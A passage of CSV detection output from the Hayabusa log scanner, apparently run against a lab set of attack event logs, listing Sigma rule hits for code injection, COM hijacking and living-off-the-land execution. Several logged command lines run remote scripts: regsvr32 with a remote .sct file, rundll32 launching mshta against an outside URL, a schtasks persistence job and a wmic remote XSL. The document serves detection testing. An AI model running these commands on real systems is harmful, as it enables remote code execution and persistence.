+09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.317 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.317 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.348 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.348 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.364 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.364 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.380 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.380 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.395 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.395 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.426 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.426 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.442 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.442 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.489 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.489 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.505 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.505 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.520 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.520 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.536 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.536 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.551 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.551 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.567 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.567 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.567 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.567 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.583 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.583 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.598 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.598 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.614 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.614 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.661 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.661 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.708 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.708 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.786 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.786 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:18.833 +09:00,IEWIN7,7,high,In-memory PowerShell,,rules/sigma/image_load/sysmon_in_memory_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:50:36.858 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: Execution - jscript9 engine invoked via clsid : Command: winpm.exe //e:{16d51579-a30b-4c8b-a276-0ff4dc41e755} winpm_update.js : Path: C:\ProgramData\winpm.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_7_jscript9_defense_evasion.evtx +2019-05-19 02:51:14.254 +09:00,IEWIN7,1,informational,Process Creation,Command: /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll : Path: C:\Windows\System32\regsvr32.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_7_jscript9_defense_evasion.evtx +2019-05-19 02:51:14.254 +09:00,IEWIN7,1,high,Regsvr32 Flags Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_flags_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_7_jscript9_defense_evasion.evtx +2019-05-19 02:51:14.254 +09:00,IEWIN7,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_7_jscript9_defense_evasion.evtx +2019-05-20 02:32:00.482 +09:00,DC1.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1158,technique_name=Hidden Files and DirectoriesHidden Files and Directories : Command: attrib +h nbtscan.exe : Path: C:\Windows\System32\attrib.exe : User: insecurebank\Administrator : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_hiding_files_via_attrib_cmdlet.evtx +2019-05-20 02:32:00.482 +09:00,DC1.insecurebank.local,1,low,Hiding Files with Attrib.exe,,rules/sigma/process_creation/win_attrib_hiding_files.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_hiding_files_via_attrib_cmdlet.evtx +2019-05-21 09:35:07.308 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Downloads\com-hijack.exe"" : Path: C:\Users\IEUser\Downloads\com-hijack.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:07.308 +09:00,IEWIN7,1,medium,Suspicious File Characteristics Due to Missing Fields,,rules/sigma/process_creation/win_susp_file_characteristics.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:07.474 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /c test.bat : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\com-hijack.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:07.474 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /c pause : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\com-hijack.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:07.518 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Mozilla Firefox\firefox.exe"" : Path: C:\Program Files\Mozilla Firefox\firefox.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\cmd.exe /c test.bat",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:07.870 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Mozilla Firefox\firefox.exe"" -contentproc --channel=""3168.0.153744822\2027949517"" -parentBuildID 20190507012018 -greomni ""C:\Program Files\Mozilla Firefox\omni.ja"" -appomni ""C:\Program Files\Mozilla Firefox\browser\omni.ja"" -appdir ""C:\Program Files\Mozilla Firefox\browser"" - 3168 ""\\.\pipe\gecko-crash-server-pipe.3168"" 956 gpu : Path: C:\Program Files\Mozilla Firefox\firefox.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Mozilla Firefox\firefox.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:08.279 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Mozilla Firefox\firefox.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:08.728 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Mozilla Firefox\firefox.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:08.728 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Mozilla Firefox\firefox.exe"" -contentproc --channel=""3168.6.1176946839\1268428683"" -childID 1 -isForBrowser -prefsHandle 1844 -prefMapHandle 1836 -prefsLen 1 -prefMapSize 183351 -parentBuildID 20190507012018 -greomni ""C:\Program Files\Mozilla Firefox\omni.ja"" -appomni ""C:\Program Files\Mozilla Firefox\browser\omni.ja"" -appdir ""C:\Program Files\Mozilla Firefox\browser"" - 3168 ""\\.\pipe\gecko-crash-server-pipe.3168"" 1680 tab : Path: C:\Program Files\Mozilla Firefox\firefox.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Mozilla Firefox\firefox.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:10.161 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Mozilla Firefox\firefox.exe"" -contentproc --channel=""3168.13.1464597065\1561502721"" -childID 2 -isForBrowser -prefsHandle 2432 -prefMapHandle 2436 -prefsLen 5401 -prefMapSize 183351 -parentBuildID 20190507012018 -greomni ""C:\Program Files\Mozilla Firefox\omni.ja"" -appomni ""C:\Program Files\Mozilla Firefox\browser\omni.ja"" -appdir ""C:\Program Files\Mozilla Firefox\browser"" - 3168 ""\\.\pipe\gecko-crash-server-pipe.3168"" 2448 tab : Path: C:\Program Files\Mozilla Firefox\firefox.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Mozilla Firefox\firefox.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:12.705 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Mozilla Firefox\firefox.exe"" -contentproc --channel=""3168.20.1502540827\1989220046"" -childID 3 -isForBrowser -prefsHandle 3032 -prefMapHandle 3056 -prefsLen 6207 -prefMapSize 183351 -parentBuildID 20190507012018 -greomni ""C:\Program Files\Mozilla Firefox\omni.ja"" -appomni ""C:\Program Files\Mozilla Firefox\browser\omni.ja"" -appdir ""C:\Program Files\Mozilla Firefox\browser"" - 3168 ""\\.\pipe\gecko-crash-server-pipe.3168"" 3024 tab : Path: C:\Program Files\Mozilla Firefox\firefox.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Mozilla Firefox\firefox.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-22 00:32:57.286 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /C rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%%20ActiveXObject(""WScript.Shell"").run(""mshta https://hotelesms.com/talsk.txt"",0,true); : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""cmd.exe"" /s /k pushd ""C:\Users\IEUser\Desktop""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.286 +09:00,IEWIN7,1,informational,Process Creation,"Command: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%%20ActiveXObject(""WScript.Shell"").run(""mshta https://hotelesms.com/talsk.txt"",0,true); : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: cmd.exe /C rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%20ActiveXObject(""WScript.Shell"").run(""mshta https://hotelesms.com/talsk.txt"",0,true);",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.286 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Script in CommandLine,,rules/sigma/process_creation/win_pc_susp_rundll32_script_run.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.286 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Script in CommandLine,,rules/sigma/process_creation/win_pc_susp_rundll32_script_run.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.867 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\mshta.exe"" https://hotelesms.com/talsk.txt : Path: C:\Windows\System32\mshta.exe : User: IEWIN7\IEUser : Parent Command: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%20ActiveXObject(""WScript.Shell"").run(""mshta https://hotelesms.com/talsk.txt"",0,true);",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.867 +09:00,IEWIN7,1,high,MSHTA Suspicious Execution 01,,rules/sigma/process_creation/win_susp_mshta_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.867 +09:00,IEWIN7,1,high,Windows Shell Spawning Suspicious Program,,rules/sigma/process_creation/win_shell_spawn_susp_program.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.867 +09:00,IEWIN7,1,high,Suspicious MSHTA Process Patterns,,rules/sigma/process_creation/win_susp_mshta_pattern.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:59.769 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\schtasks.exe"" /Create /sc MINUTE /MO 60 /TN MSOFFICE_ /TR ""mshta.exe https://hotelesms.com/Injection.txt"" /F : Path: C:\Windows\System32\schtasks.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\mshta.exe"" https://hotelesms.com/talsk.txt",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:59.769 +09:00,IEWIN7,1,low,Scheduled Task Creation,,rules/sigma/process_creation/win_susp_schtask_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:59.769 +09:00,IEWIN7,1,high,Windows Shell Spawning Suspicious Program,,rules/sigma/process_creation/win_shell_spawn_susp_program.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 13:02:11.307 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Internet Explorer\iexplore.exe"" SCODEF:1600 CREDAT:275470 /prefetch:2",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_driveby_cve-2018-15982_sysmon_1_10.evtx +2019-05-24 01:49:05.736 +09:00,IEWIN7,1,informational,Process Creation,"Command: wmic process list /format:""https://a.uguu.se/x50IGVBRfr55_test.xsl"" : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_wmic_xsl_internet_sysmon_3_1_11.evtx +2019-05-24 01:49:05.736 +09:00,IEWIN7,1,medium,XSL Script Processing,,rules/sigma/process_creation/win_xsl_script_processing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_wmic_xsl_internet_sysmon_3_1_11.evtx +2019-05-24 01:49:05.736 +09:00,IEWIN7,1,medium,SquiblyTwo,,rules/sigma/process_creation/win_bypass_squiblytwo.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_wmic_xsl_internet_sysmon_3_1_11.evtx +2019-05-24 01:49:07.731 +09:00,IEWIN7,11,high,Windows Shell File Write to Suspicious Folder,,rules/sigma/file_event/file_event_win_shell_write_susp_directory.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_wmic_xsl_internet_sysmon_3_1_11.evtx +2019-05-24 01:49:08.422 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: wmic process list /format:""https://a.uguu.se/x50IGVBRfr55_test.xsl""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_wmic_xsl_internet_sysmon_3_1_11.evtx +2019-05-24 01:50:44.582 +09:00,IEWIN7,1,informational,Process Creation,Command: wmiadap.exe /F /T /R : Path: C:\Windows\System32\wbem\WMIADAP.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_wmic_xsl_internet_sysmon_3_1_11.evtx +2019-05-24 02:26:08.716 +09:00,IEWIN7,1,informational,Process Creation,"Command: msxsl.exe c:\Users\IEUser\AppData\Roaming\Adobe\test.dat c:\Users\IEUser\AppData\Roaming\Adobe\test.dat : Path: \\vboxsrv\HTools\msxsl.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" 